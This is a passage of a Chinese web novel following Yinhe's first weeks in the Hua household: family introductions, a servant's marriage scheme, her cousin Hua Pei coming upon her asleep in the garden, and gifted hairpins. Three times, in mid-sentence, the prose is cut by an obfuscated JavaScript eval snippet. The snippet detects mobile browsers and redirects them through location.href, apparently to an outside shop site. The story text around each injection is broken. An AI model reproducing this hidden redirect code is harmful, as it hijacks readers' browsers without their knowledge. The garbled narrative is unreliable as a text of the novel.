织雨见她伤心，赶紧说：“姑娘莫要难过，以后有我伴着姑娘，姑娘可别嫌弃我不会下棋。” 银荷微微摇摇头：“怎会，我也不是真的下棋，消磨时间罢了。”又惆怅道，“父亲喜欢荷花，家里也有一塘荷花，我看了，好像是回到家中一般。” “那太好了，现下这里可不就是姑娘的家嘛。” 两人一边说，一边穿桥而过，进了屋中。邬嬷嬷和路上买来的一个丫环小朝，早已被人带来了此处，正在候着。邬嬷嬷本有些焦急，见银荷无事，放下心来，自去收拾东西。 很快有小丫环端来热水，织雨上前服侍银荷梳洗更衣，银荷便有些不自在。她自己也是做丫环的，几曾有被这么多丫环围着伺候的经历。 尤其是，织雨还令她想起了昔日由心的大丫环金夕——向来在心中当作榜样的人。 织雨是家生丫环，年岁不大，在花家资格可算挺老了，性子也沉稳。她以为银荷初来乍到，年少羞怯，便打发走旁的人，慢慢说些自己的事。果然，不大会儿，两人已经十分熟络，银荷也放松下来。 这时，老太太那边传膳，织雨便同银荷过去。 老太太平时并不和儿媳们一道用饭，今日因银荷来，请了三位太太。 大太太郭氏向陪房杨嬷嬷哼一声：“乡里的丫头，有什么好见？” “怎么突然来这么个人，谁也没见过，老太太念了个把月。”杨嬷嬷咕哝道。 “年纪大了爱念叨。”大太太不在意地说，“说来这丫头倒可怜、有志气，父母都没了才来投亲。我要诗钰来也因为这个，何况怎么说诗钰也姓郭。——她那个外甥女和我们家哪有半点关系？好听些是亲戚，也不能赖着不走。又不是没了爹——既改了姓，就认到底。谁不明白她们打的算盘——再添两个姓花的小鬼，将来多霸一份家产。以为自己有那个命！”大太太冷笑。 “太太莫嫌我说话俗。恐怕是以为她家里的鸡，个个会下双黄蛋。”杨嬷嬷凑趣道。 大太太不喜二太太，有事没事总要贬损几句，不过，到了老太太屋里，她是满脸透着和气大方。 银荷见了三位太太，吃过饭，众人又说笑一会儿，等老太太午睡，便各自散了。 晚饭后，银荷正收拾东西，瑷宁又来陪她说了说话。 送走瑷宁，银荷问织雨：“家里的事情都是大表嫂在料理吗，她可真能干。” 织雨说：“可不是呢。本是原先的二太太管着，可惜后头她身子不大好，大奶奶嫁过来后就交给大奶奶了，再后来二太太没了，老太太又常说，年轻人能当家作主，方是兴旺之道，这些年就由大奶奶一直管下来。” 银荷方知今日见到那位美貌和善的二太太原来是续弦，便说：“我还以为三妹妹是这位二伯母生的，她们长得挺像，都那么美。” 织雨小声道：“三姑娘确实是现在这位二太太所生，当初她原是姨太太。先前没了的那个还更美，当年中书令的孙女，唉，那样貌和气派，没几人能比得过。”她犹豫一会儿，又说，“也不必瞒姑娘，二太太扶正的时候，老太太不大乐意，不过想着大爷已成了亲，连三爷也大了。这位太太又刚生了五爷六爷一对双生子，亲娘跟前养着到底好些，最后才答应了。” “还有一对双生子，”银荷奇道，“果真长得一模一样？” “一模一样，我们也经常认错，明天姑娘看分不分得出。老太太说早上几位公子过去问安的时候，正好请姑娘都见一见。” “啊，明日么。” 5. 兄弟 第二日，银荷一早就去老太太处，众人皆已到齐，站了一屋子。银荷恐自己迟了，正不安时，老太太携过她手，笑道：“由儿莫怕，今日是为让你见见你的伯父、兄弟们。” 银荷便一一行礼认识。 先前，她从由心口中听过花家的一些事，昨晚，织雨又为她介绍了孙辈人物，银荷全部默默记在心里。 花家有三位老爷。大老爷和大太太生了二公子，以及大姑娘二姑娘两位姑娘。大姑娘出嫁几年了，二公子是年前刚成的亲。 二房这边人口最多，原先的二太太生了大公子和三公子，现在的二太太生了三姑娘，及五公子六公子一对双胞胎。 三老爷呢，并非嫡出，但亦由老太太教养长大，曾经中过状元，少时，与由心的父亲曲展相与甚厚。三老爷三太太膝下只四公子一个。 现下，三老爷外派出去了，已有好几年不在家。除了三老爷，三公子也出门在外。其他人，银荷都见到了。 两位老爷皆着常服，形容儒雅，看来是可称为国之股肱那一类人。大老爷竹清松瘦，温厚谦和，二老爷端眉肃目，气宇轩昂。 旁边立着孙辈们，大公子约莫二十六、七岁，神貌肖似其父，仪表堂堂，不苟言笑。银荷觉得就算事先不知，也能看出他和大奶奶瑷宁正是一对，两人都气度雍容。 二公子二十出头的样子，身量适中，形容飘洒，沉稳大气不输其兄，但要多出几分和煦，近旁二奶奶映雪带着温柔羞涩的神情，也是一双壁人。 四公子斯文有礼，还带几分少年模样。老五老六相貌打扮毫无二致，不过六七岁，腮上颤嘟嘟挂着两团肉，却也恭然端立，强作稳重之态，瞧着很是喜人。 银荷心中暗道：一家人好齐整模样，子孙皆不似凡辈，原来人们常说的诗书簪缨之族就是这样，现下见到了，果然不同一般。 两位老爷不免各自嘱咐，要她安心在此，切莫见外。又说数句话，几人便辞了老太太去上值，几位太太说一会儿话，也各自散了。 老太太留下老四花涛，问了他近日情况，叮嘱一番，待他走后，便向银荷说：“你四表哥父亲不在家，他又准备秋闱，成日捧着书本，我怕耽搁了他晨读，平日也不太要他来我这里。你刚到，先见上一见，将来兄弟姐妹们常在一起，彼此和气，高兴了就一块说说话、解解闷。你身子单弱，以后不用这么早过来。在矴州习惯了的，能照旧便照旧，想做什么又不好说的，先问问织雨也行，千万别自个儿委屈。” 银荷连忙答应了。老太太又对瑷宁说：“我吃着的燕窝还好，每日多做一碗，给曲丫头送去。”想了一下她又说，“涛儿那边也送一份，我看他这两日又瘦了些。用功固然是好事，也用不着苦读过头伤了身子，非得萤窗白雪的，挣上个状元。他父亲也不是逼着儿孙念书的人，就是他自己，当初哪里就用功过，书不见翻便记进肚里了。怪道有一说是文曲星下凡，那还能一次次都下到咱家里来？” 瑷宁笑道：“大爷也和我说起过，他说看四弟放不下书本，倒并不是为争头名二名，也不是为应付三老爷，四弟就是喜爱学问。” 老太太也笑了：“那便由着他吧，自己喜欢比什么都大，天老爷也管不得。”她说着又叹一声，“我也是，哪有嫌儿孙太上进的，只别累着就好。幸而孙辈们都懂事，也不用操心。谁知澈儿竟完全是另一个样子，也不知他喜好什么，在家哪里不足，非要出门去。” 大家都知道老太太疼爱孙儿女，最疼的便是老三花澈，但他正月没过完就出门了，差点把老太太气病，如今，还隔天就要念叨一番。众人忙从旁劝慰，老太太恐银荷初来不自在，也就放下孙子，引她谈些闲话，半日方才散了。 . 话说李得在花府住了两日，便要动身回去。他向银荷辞行，拿出几张银票来：“这是老爷留给姑娘的。” 是京城票号开出的通兑票子，约莫有五、六千之数。银荷知道这定是曲家老早前就积下、本是为由心备着的，她咬住嘴唇不肯去接。李得说：“收着吧，自己收着。他们这样人家不会在意。万一你将来有需要，还是放在手边好。” 见银荷不动，李得将银票交给邬嬷嬷说：“我还有几句话对姑娘讲。” 邬嬷嬷走开去，李得便说：“我知道姑娘心里想什么，姑娘莫心急。这事急不得，给我些时候。” “得叔，你——”银荷声音颤抖着。 “我和姑娘想的是一样——不能放过那个姓葛的。” “我们找他去！”银荷激动地喊。 “先别急。”李得摇摇头，“我想过了，我先去勐州打听打听，运气好的话许还能和他家搭上些关系。等把他们底细摸清了，再想办法。” “打听到了，别动手，先告诉我。”银荷急道。 “姑娘放心，我不会贸然行事。我李得虽无大能，但还稀罕自个儿这条命。我肯定和姑娘先商量好，姑娘同意我才干，到时还需要姑娘帮忙。” “好，我等着。”银荷同样郑重地说。 李得又说：“这不是几天的工夫，从头到尾的事情都要细细安排，恐怕要一两年。” “嗯。”银荷点头，“我明白。我不会着急，不论多久，只要最后能成——一定成。只是得叔你千万小心。” “是，我答应姑娘。请姑娘也答应我，没接到我的消息之前，姑娘在这里好好过，别叫人瞧出来。当日由心姑娘嘱咐过我，如果不能确保姑娘安好，我就没法放心离开。” 银荷用力点头，眼泪一滴滴落下来。 “我走了，姑娘保重。” “等等，”银荷急忙擦眼睛，“葛全有家里有生意，你把那些钱带着，扮个阔人，更容易和他们打上交道。将来事情了了，你回去也置些房舍田地，寻个好生计。” 李得笑了：“姑娘考虑得周全，不过我这里有银子，不管干什么都足够使，老爷前面就把我们安置得很妥善了。姑娘需要的地方更多，在这儿待着，其实不容易。” “我不用，留一点儿就够了。”银荷坚持。 两个人都很执拗，最终，李得抽出一千两，说什么也不肯再多拿，收拾了几件衣物，便骑马去了。 李得一走，银荷更加依赖邬嬷嬷。花府的规矩，小姐大了知礼仪后，便不需要嬷嬷日夜陪伴。那些嬷嬷们大都另管了事情，等姑娘出门时，方又跟了去，在婆家帮衬协理。老太太怜悯侄孙女身边就剩邬嬷嬷这么一个老人，要她住在清圆居中，怕她不自在，又要瑷宁给她寻个清闲差事。 瑷宁和邬嬷嬷说了几句话，见她穿戴整洁，手脚麻利，脑筋清楚，遂安排她去采买、分配家中大小丫环的日常所用。 这活儿不算多重，东西选好自有人送来，只要按人头分发下去。不过府里有百十个丫头，每人又有十来样东西，东西多寡好坏还分了三四等，之外时不时有人零七碎八地要求提前添换这个那个，要把这些都搞得清爽可不容易。所以瑷宁并非要邬嬷嬷独个儿干，而是让她去帮着别人。 这差事上原先就孙嬷嬷一人，她是已故二太太陪嫁过来的丫环，早就放出去嫁人了。她那个丈夫起初还好，后来不知怎的学人去赌，很快就输得家徒四壁。丈夫死后，孙嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892543|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷带着儿子过不下去，大公子花沛看她可怜，让她再回花府做事，她那儿子便也做了小厮。 差事油水厚，孙嬷嬷本是心满意足，可突然又安插个人进来分一杯羹，她闷头闷脑很不高兴。谁知这日儿子王兆喜刚好回家，她又喜欢起来，围着儿子来回忙乱。 兆喜平日给花沛跑腿打杂。每个富贵人家公子身边都有这么些人，干些无甚紧要的事，但兆喜却自居是个非同小可的人物，总是做出很忙的样子，基本不着家。孙嬷嬷也难得见儿子一次，逢他回家必搬出藏起的好酒给他犒劳，又买几样鸡鸭下酒。这时她问兆喜吃过不曾，听说吃了，犹不甘心，又吩咐小丫头去热些肉饼。 兆喜只管在屋内转悠，一时掸掸身上，一时翘腿坐下，心不在焉听母亲唠叨。等吃完肉饼，抹抹油嘴，才说：“有什么犯难，不就是个打秋风的亲戚，吃咱家的饭，穿咱家的衣，也足够她了。大奶奶为讨老太太喜欢，让她干几天，长不了。等过上十天半月，老太太准保忘了这人，到时候我想点儿办法，看她敢不走。” 孙嬷嬷将信将疑，仍是说着，兆喜已经不再听了。丫头过来撤碗盘，兆喜就趁便在她身上摸一把，皱皱眉，向母亲道：“这丫头子不中用，见放着银子，不如买个好的给娘使唤。” “你常不来家，我一个人哪里要使唤。你晓得好坏？——不看自己是做什么的，让人说把你狂的。”孙嬷嬷叨叨不住。 兆喜回嘴：“奴大还能欺主哩，咱们一味老实。” 孙嬷嬷正要说话，兆喜却丢开这头，冷不丁问：“娘，家里有多少银子？” “干什么？”孙嬷嬷有些受惊吓地望着儿子，“那是留给你成家用的。” 兆喜眼一亮：“我就是要说这事儿，不劳娘多操心，我已经看好了人。” “怎么不早说？是谁啊？”孙嬷嬷满怀希望地盯着兆喜问。 “蝉影。大爷妹子跟前的。” “蝉影？”孙嬷嬷喊叫起来，“就是那个黑丫头，她爹瘫在床上的？” “人家那叫黑里俏。再说和她爹什么干系，又不是我上她家。怎样，娘去给我说说？” 孙嬷嬷连连摇头：“不妥不妥。那丫头鬼大不服管，连太太跟前她还说嘴犯牙呢，娶进来不得骑到你头上？” “哪门子太太？娘莫非忘了本，蝉影可是咱们太太都看着好的。” “我看织雨不错，人也庄重。”孙嬷嬷赶紧把自己的打算提出来，“先前她跟老太太，咱们不敢去求。可巧半路来了表姑娘，又好说话，你再去求求大爷，没有不准的。不行先定下来，等一时表姑娘出门了，还留下织雨，谁也说不出什么。” “娘，你就别瞎掺和了，我就看中蝉影了。”兆喜生气地说。 “她哪有织雨模样好？” “脸子算得了什么，”兆喜不屑道，“女人得看身子——”猛然想起对面是母亲，他把几句荤话咽了回去，“别的不用你管，只把她给我娶回来就完了，然后你老人家就等着享福吧。” “享福？我可伺候不了她。”孙嬷嬷嘀咕着，又问，“大爷答应？” “那可不。大爷不管这些，只要我们两下里说好。而且我成了家，大爷也看我更稳重。到时姑娘那边少不了还给蝉影赏笔陪嫁，保管体面。咱现在是时运正旺，把好事都紧着办了，没错！爹知道，也得说押对了注。——不提爹了，你就快快地去吧，赶紧上她家提，啊？” 孙嬷嬷溺爱儿子，更有点惧怕他，从没违背过他的意愿，尽管心里老大不乐意，但禁不住兆喜威逼哄诱，到头来还是答应了，自去准备起来。 6. 午后 银荷来到花家，认识了几位姑娘、表姑娘，也是小孩子心性，难免暗中比较一番：二姑娘胜在颇有大家千金的气派，和大奶奶那种骄矜气度有几分相像，可惜我到底学不出这种气派来。三姑娘天真娇柔，一见就让人喜欢。郭姑娘海棠花一般的样貌，可算是最美的。戚姑娘又是另一种形容，未语先低头，再惹人怜惜不过。我是比不了她们，可她们却都比不上由心姐姐，要是姐姐来此，不知这些人要怎么震惊呢。 想到曲由心，她又是骄傲又是伤痛，也不想再和别人玩耍，一味闷在屋里写字。 这几日老太太身上不太爽利，又心疼几位姑娘大日头下跑来跑去，便要各人在自己屋里用午膳。银荷一人用饭随意许多，比往日还多吃了些，吃过后不好马上休息，又铺开纸笔。 织雨便上来磨墨。小朝连打了几个哈欠，又要给银荷扇扇子。银荷连连推她：“你们都去，谁也不用守着。我只写一会儿便罢。”两人知道银荷的脾气，被再三催后便自去歇午。 银荷写到酣畅处，一连写满了四、五张纸。 她并没有临帖，写的是由心的字体。由心差不多就是她的写字老师，横竖撇捺她都是照由心学的。要说她与由心相像，最像的恐怕就是字迹，打眼一瞧几可乱真。 其实不然。以前她时常在由心的字中插几个自己写的，甚至在一个字中只写上一笔，完成后扭头就连自己都辨不清，曲展却每每能准确指出来。初时她深以为异，后来就明白了：没有姑娘那样心怀，光学个皮毛远远不够。 现在，她却迫切想要真正和由心一样，哪怕只是书写。写出由心的字，仿佛就可以将由心留在身边、留在世间更久。 她每日花很多时间练习，进步显著。过去照着临，存心要写成一样时反而不像，现在她只在脑中想着由心的字，想着由心本人——写字时她就是由心，由心的抱负、憧憬在她胸中激荡。慢慢地她自己也能看出变化来。 这时又写完一页，银荷搁下笔，叹口气，或许展老爷见到，也不会再说她“仅得形，未得神”了。可由心的影子还是渐行渐远渐淡薄。她跑出屋去。 室外的炎热反让银荷痛快不少。来花府月余，她还没有仔细逛过园子，此时一人出来，也懒得再压抑自己，兴之所至，抬脚就走，径自向往日未曾踏入的地方走去。 一路上忽而游廊曲槛，忽而林荫花|径，银荷只顾将这些看在眼中，却没留意到了何处。走着走着才突然发现，不但是个陌生地方，周围竟半个人影都不见。 这时候阖府上下莫说人了，恐怕连鸟儿也全都在休息，她心想，自己不禁也感觉疲累。四下一望，正好前面有几棵桂树，树冠如盖，绿草如茵，便上前找个干净地方，靠树坐下，发起呆来。 自她来到花府，从旁人看，日子不可谓不舒心：老太太疼爱，吩咐下去，百般事情自有人伺候得周周到到。但银荷心中别有所思，却是要时时小心，未尝享片刻悠闲自在。 难得这会儿似乎可以疏忽一点了——此一时，庭院幽深，远近无人，只听得漫长、高亢的蝉鸣声；没有一丝风，但树影在轻抚她的脸，不知何处的花被午后的热气一蒸，散发出颓靡而又甜醉的香味。她浑然忘却了自己是谁，不知不觉中竟躺倒睡熟了。 可巧这日上午花沛外出办公务，还需回家拿几件东西，再往衙门去一趟。烈日当头，不一会儿他就出了一身汗，懒怠绕到正门，便在后门停下，吩咐小厮牵马去饮，心想这时碰不见人，斜穿过花园回屋换身衣服再去书房，倒凉快便利。 花沛成年后就很少独个儿进花园，后来家里亲戚多，更不便随意游逛，此刻倒感到园子分外静谧可爱。不过有事在身，他也无心观景，眼皮不抬匆匆走着，猛然发现前面树荫下卧着一个女子，枝影斑驳，看不真切，他还当是哪个丫环。 花沛平素对府中仆役诸务并不挂心，但逢事找他时也通情达理，说得上体恤下人。偷闲躲懒还不打紧，可随意在园中卧眠毕竟大不成体统，兼之他又想到瑷宁管家，要是被人看到仆人无规无矩，难免会落个管束不力的话柄。天热心躁，他先带了三分气，抬步过去欲呵斥几句，不想走近一瞧，却是矴州来的表妹。 花沛一愣，想要快快离开，但不知为何却立着没动，又多看了一眼。 这一眼看清了所有不该看的：树下的人面朝外半侧卧，脸颊枕在一只手上，另一条手臂随意舒展着。衣料如薄云般轻柔地覆在她身上，随着身形弯拢出优美的线条。她睡得很香，面上带着淡淡的晕红，密密的两排睫毛安安静静没半丝颤动，呼吸就如同花草的呼吸一样，轻得让人无法察觉。 花沛几乎不敢喘气。 除了妻子，他还从未见过姑娘的睡颜。这到底是谁，当真是自己的表妹？ 因为睡相恣意，沉睡的人比平日更多几分稚气，但不知哪里——许是袖中露出的那一截细溜溜的圆腕子，许是微微翘起而显得更加圆润精致的唇珠——又透着些不大规矩、撩拨人的意味。半是孩子，半是女人。 花沛如同被施了咒一般，站在原地动弹不得，只觉出心突突跳着。 他不知该如何是好，原有的立场似乎无法坚持。表妹到底是天真懵懂还是有意放纵？她看来那么纯洁无瑕，但有哪个洁身自好的姑娘家会露天而睡，还被男子看到？ 要是自己的亲妹妹，他定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892544|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会火冒三丈。可是，换了表妹，为什么就觉得不那么严重了，因为看到的人是自己？还好看到的人是他。那么，回头让瑷宁提醒表妹一下？不，这也没必要，她又没做错什么。 花沛觉得自己好像一分为二，左右摇摆，一时在指摘表妹，一时又怜惜地为她辩护。这等行为放到谁身上都逾矩之至，唯独表妹……之前表妹留给他的印象已经一片模糊，他好似头一次认识了她。譬如林中女妖，无法用礼俗的陈规旧套来评判要求。 醒悟到自己将表妹联想为妖精，花沛猛然一凛。一个道行还不够深的妖精，但毕竟也是个妖精。 花沛感到自己在这里的时间实在已经太长了，终于拔起脚来，退后两步，想要走开。谁知刚巧踩在一根树枝上，咔嚓一声，睡着的人顿时惊醒，睁开眼睛坐了起来。 “大……，大表哥。”银荷猛然醒来，看到面前的人，大惊失色。 妖精不见了，果然只是表妹。花沛也不辨心中哪般滋味，最初的打算是道歉两句，赶紧离开，想想又忍住了，这时再掩饰躲闪并不体面。他一边微微侧身别开脸，一边问：“你的丫环怎么把你一人丢在这儿？” 银荷当真是大窘，懊恼万分，她也不知为何竟会睡着，还刚好被花沛碰到，实在是失礼得紧。她赶紧站起身来，拽拽衣服，结结巴巴地解释。 花沛感到表妹虽一味慌乱自责，但并没有羞愤难禁，不由松了一口气，便转过身来，摆出兄长样子说：“天热也莫要贪凉，恐于身体有碍。”到底不好直接说出怎能随意睡在地上，园子里人来人往被看到不适宜之类的话。 银荷从初醒的惊慌中略平复，想自己这般失态偏又碰到一向严肃的花沛，只怕要挨顿苛责。又觉自己起来后定是衣衫不整，鬓发凌乱，心下很是着急，只想快快走掉，便说：“今日是我错了，多谢大表哥提醒。以后再也不会这样了，请大表哥莫要生气，否则我更是无地自容。” 花沛忙道：“表妹言重了，我并没有生气，你不用担心。”他看见姑娘脖子旁边散开几缕细细茸茸的头发，身上被猫尾巴扫过一般，赶快掉转开视线。 也不知两人谁更窘迫，花沛抬手摸摸耳后，定神说道：“表妹快快回去吧，免得丫环着急，四处寻你，再惊动了老太太。可要我叫人送你？” 银荷知花沛有意替自己掩饰，稍稍放下心来，赶紧说：“不必麻烦了，我这就回去。”花沛也觉得此事确实不好被人知道，便点头应允。银荷略福一福，转身快步走开。 花沛在原地又站了片刻，直至晕眩感稍稍减轻。当天剩下的时间里，他始终感觉到微微的眩晕，并将其归结为在大日头下跑了太久的缘故。 7. 金簪 这天，花沛散值回到家，一进屋就看见到处摆满了大大小小的首饰箱子，瑷宁正手捧册子对照着翻找，因问起是何故。 瑷宁道：“老太太说表妹身上太单调，让我给她找几件首饰戴戴。” 花沛一听就明白了，这是指由心表妹，瑷宁提起诗钰和戚晚，从来不带“妹”字，最客气的时候，也不过称呼她们是表姑娘。 距树下遇到表妹已过了四五日了，可这时听见说起她，他还是心中一惊，没说话便走开去。 等他换好衣服出来，瑷宁还没挑选完。 “先不急着传饭吧，你也来帮我看看。”瑷宁叫住他，“说起来都怨你，我东西也不少了，你还给我这簪子，还这么亮晃晃的，今儿才戴上，叫老太太看见了，想起来就说表妹来家这么久，还没几件插的戴的。可不是怪我薄待了表妹，我上哪儿辩去？其实我是想着因她还在孝中，不便戴那些华丽钗环。”她虽板着脸，语带委屈，眼里却闪出笑意。 花沛盯着瑷宁头上的红翡凤尾发簪。由来是一个同僚要给将出嫁的妹妹选贺仪，不好意思独个儿进银楼，也拽了他去，他一眼看到这支簪子，觉得正配瑷宁，就买了下来。前后至多不过相隔半月，现在想起竟恍恍惚惚。 他说：“我不饿，你慢慢找。老太太清楚你素日为人，不至于误会，她疼爱表妹，你就多拿几件。我不懂这些，你自己瞧着办吧。” “我看你挺会挑选，来出个主意。”瑷宁偏拉住他不放，“我大概看过，我瞧着好的都是母亲留下的，三弟又不在。其它的样子就普通了。——要不从我那些里面选几样没大戴过的？” 花沛知他母亲的嫁妆首饰一半已给了瑷宁，其余的自然是留给三弟将来的妻子。即便问三弟，他未必会介意，但到底不合适。可是要瑷宁把自己的拿来送表妹，他隐隐约约也觉得不合适。想了一下，他便说：“你喜欢的，还是自己留着吧。给表妹再另买几件好的来，能费多少，何必为难。” “行。不过这里搬了半日，摇铃打鼓的，恐怕都知晓了。——干脆一并找几件给那两位，省得人家说话。” “更好。”花沛点点头，“太太见了也高兴。” 瑷宁又自去挑拣，过了会儿，她从个不起眼的小木匣中捻起一根簪子，奇道：“咦，这个没见过，也不在册上，哪里来的。从没见过这种，好生别致。” 花沛向她手上看了一眼，立即认出那是他母亲珍藏多年、没舍得戴过的东西。有几次他曾见到母亲把它拿在手里细瞧。 不等他说话，瑷宁已经走到镜前，把簪子插入发中。“你看怎样？” 镜中现出一张笑靥如花的脸，只一瞥花沛就急忙转开头。他走到瑷宁身旁，直对她本人，而非那个让他不安的影子，这才开口：“不错。不过你戴原来这支也很好。” 瑷宁笑道：“可不是。大爷的眼光，谁敢说差？”但她还是又对镜看了好几眼，才依依不舍拔下来，“那这个就给表妹？只是不知道来历，要不要再翻翻看。” 花沛从房间另一头喊：“不必了，就给表妹吧，不值当寻根觅源的。我去叫人传饭，这会儿饿了。” 隔日，瑷宁喊了银楼的人来家，千挑万选出来几样，又为诗钰、戚晚也捡了两副镶玉嵌宝的钗环，共值了大几百银子。拿去给老太太过目，老太太果然欢喜不禁，非要自己出这笔钱，被瑷宁拿话哄过去了。回头瑷宁就找到织雨，把东西给她，又嘱咐了一番。 银荷收到后打开盒子一瞧，久久没有说话。 织雨问：“姑娘瞧着喜欢么，大奶奶说要是不合姑娘心意，只管找她去换。” “喜欢——就好像全是我自己选的一样。” “那可好，”织雨笑道，“大奶奶又该得意了，她说姑娘肯定喜欢，虽说是老太太送几位姑娘都有，只有姑娘你的是大奶奶费心挑的。” 银荷心中说不出地感激，又觉得受之有愧。这些正是她喜爱的样式，也一定是由心喜爱的。从前，两人差不多都是混戴首饰，不分你我。那些物件大都随着由心一起下葬了，银荷只留了最简朴的几样。她没想到瑷宁竟能将她的喜好摸这么准。要是由心在这里，打扮起来会多么美啊。 织雨又说：“姑娘快试试吧。呀，这支簪子真好看。” “真的，我也最爱这个。”银荷细细打量：一支打磨光滑的沉香木上簪着黄金打造的花枝，枝头是朵将放未放的芍药，无一处不栩栩如生，就连叶片上的脉络也刻画分明。花瓣薄而微卷，层层叠叠，好像在心中藏好了一个秘密，又仿佛下一瞬就真会绽开一般，不知是何等能工巧匠才能制出来。银荷越看越爱，不忍释手，便将它插在头上，走到镜前。 她从不觉得自己容貌过人，也不在意，难得揽镜自怜。这时猛然从镜中看到一个有些陌生的少女，几乎不敢相信那个亭亭玉立、双眸闪亮的姑娘是她本人。 织雨也看得呆住，“姑娘真是，真是……哎呀，我都没词儿了。小朝，快来瞧瞧。” “喊她做什么，肯定不知跑哪里疯去了。” 不想小朝立即蹦了进来：“姑娘我在呢。” 小朝原来叫招娣，是个面黄肌瘦的孩子，来了不到两月，不仅脸儿渐渐圆起来，更成了个招人喜乐的姑娘。大家都笑话她一张嘴总不闲着，多会儿都在吃，多会儿都在说，多会儿都在笑。她天真烂漫、言语无忌，当下就把银荷夸得更加不好意思。“你还是不在屋里的好，净吵人，赶紧出去玩去。” “今天蝉影姐姐回家了。”小朝遗憾地说。 “难怪呢，就来烦我。你跟着三姑娘去算了。”银荷笑道。 几人又闹一会儿，银荷试过各样东西，拣出两三件日常搭配，其余的便交由织雨先收好。 且说小朝嘴里的蝉影姐姐，正是兆喜惦记着想娶到手、三姑娘花瑶的贴身侍女。虽然花家的丫环几乎个个都不简单，蝉影依然值得一提。 她眉目秀气，身形苗条，美中不足是肤色黑了些，不过那一对眼珠子更黑，乌溜溜像两丸黑玛瑙；耳朵上不挂环儿坠儿，总穿着两朵小花，有时是丁香，有时是茉莉，甚而也有地上揪棵酸浆草充数的时候。她未必就是独一个这么干的，却颇有些别人想学而学不来的俏丽。 蝉影心直口快，好与人拌嘴，其他大丫环提起她都要皱眉头，但院子里的小丫头们全喜爱和她玩，因为她很懂得几样淘气办法。 就是这么一个人也有烦恼：蝉影的父母本都在花府做事，一年前她父亲不慎摔伤后就一直卧床，只好由母亲回家照顾。天气炎热起来，病人自然更加难熬，蝉影心中牵挂不下，这日告了假，向家里走去。 听见门响，蝉影娘抹着汗出来：“怎么又回来了，大热天的。” “没事，又不多么远。”蝉影放下东西朝里屋走，“我先去看看爹。” 蝉影爹正在昏睡，见到闺女回来，勉强睁开眼略说几句话。蝉影娘端了桃子进来说：“平日听你念叨闺女，如今回来了倒不说话了。又给你拿了果子来。”她转向蝉影，“现在你爹就愿意吃你拿来的果子，外面买的不要，嘴还越来越刁了。” “那有什么，下次我多拿些，姑娘听说我回来特叫带上的。”蝉影说着将桃子切成小块喂给她爹吃。 蝉影娘等父女两个说了一会儿话后，就拉拉蝉影的衣服，使个眼色。蝉影跟她娘走到外间，小声问：“爹这一向都这样？要不要再请大夫看看，还是再雇个人？娘也别累着了。家里银子还够使？” 蝉影娘脸有些红：“还够还够。你爹就那样，大夫也看过，我还照看得了。”她拉蝉影坐下，“前些日子王大娘——就是孙嬷嬷，来咱们家了。” “她来干什么？”蝉影奇怪地问。 “是为了她儿子，叫兆喜的，跟着大爷，你见过吧？”见蝉影瞪着眼没吭声，她又笑眯眯地说，“是想和咱们结个亲家。” “谁？王兆喜？好大的脸。——下次再来，娘只管撵他们出去。” “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那我也不用着急嫁人。”蝉影又来了气，“别说王兆喜那个二流子，就是比他好一千一万倍也不行——我就一辈子跟着姑娘了。” “唉，就是说这个。你们姑娘总要出门的，到时你也跟着去？还不知道嫁到什么人家，规矩大不大，姑爷好不好伺候。万一婆家人厉害，你们姑娘性子又软和，那时候还能顾上你？” “没有的事。他们诗书礼仪之家，才不会欺负姑娘。”蝉影急辩道。 “谁家？” 蝉影脸红了，“反正姑娘肯定嫁到好人家。” 蝉影娘不由笑了：“姑娘的婚事，能轮到你说话算？还是说你，也不急在一时，你再考虑考虑——” “不用考虑。”蝉影坚决道，“王兆喜绝对不行。” “你要真不愿意，我就想法儿去回个话，还得拣软话说，”蝉影娘叹道，“说不定将来人家出息了。” “他出息他的，和咱们有什么关系，我就是瞧不上他。不过都是奴才，谁还巴结着谁不成？”蝉影冷笑。 “好，我和你爹帮不上你，也不靠你。你主意大，自己瞧着吧。我也不指着长乐了，反正儿女大了，一个个都自走自的，你为他好，他以为是害他。我就守着你爹，等哪天我也动不了了，可省了多少事。”蝉影娘起初带了怨恨，说着说着又抹起眼泪来。 “行了，娘，你别说这种话。等姑娘出了门，我就回来照顾爹。还要让你们长远享福呢。娘不喜欢留我，愿意我嫁人也行。——我非得找到个好的，不然也算白见识了这些年。” “什么好的？”蝉影娘眼泪一下就干了，坐直身子说，“你以为谁都是给你备着的？在府里待了几天，就以为能攀扯上爷？当初想勾引大老爷的，被大太太都活活打死了，你趁早别有那个想头。” 蝉影腾地站起来，气道：“我就合该一辈子比别人贱，不跟着那些下三滥的，就是攀扯？那我就去攀扯攀扯，就是让人打死了，也好过嫁给姓王的。”说罢，饭也不吃，转身回了花府。 8. 秋千 正当银荷渐渐适应在花家的生活时，邬嬷嬷却动了离念。 从前曲府人口少，事情清爽，她照顾小姐，实际地位更近管家。花府上大不一样，人多事杂。俗话说：人上一百，各形各色儿。只有为私利这一项上，才能所有人难得一致。花府的老仆们看见新来一个不认识的，难免生些磕绊之事。 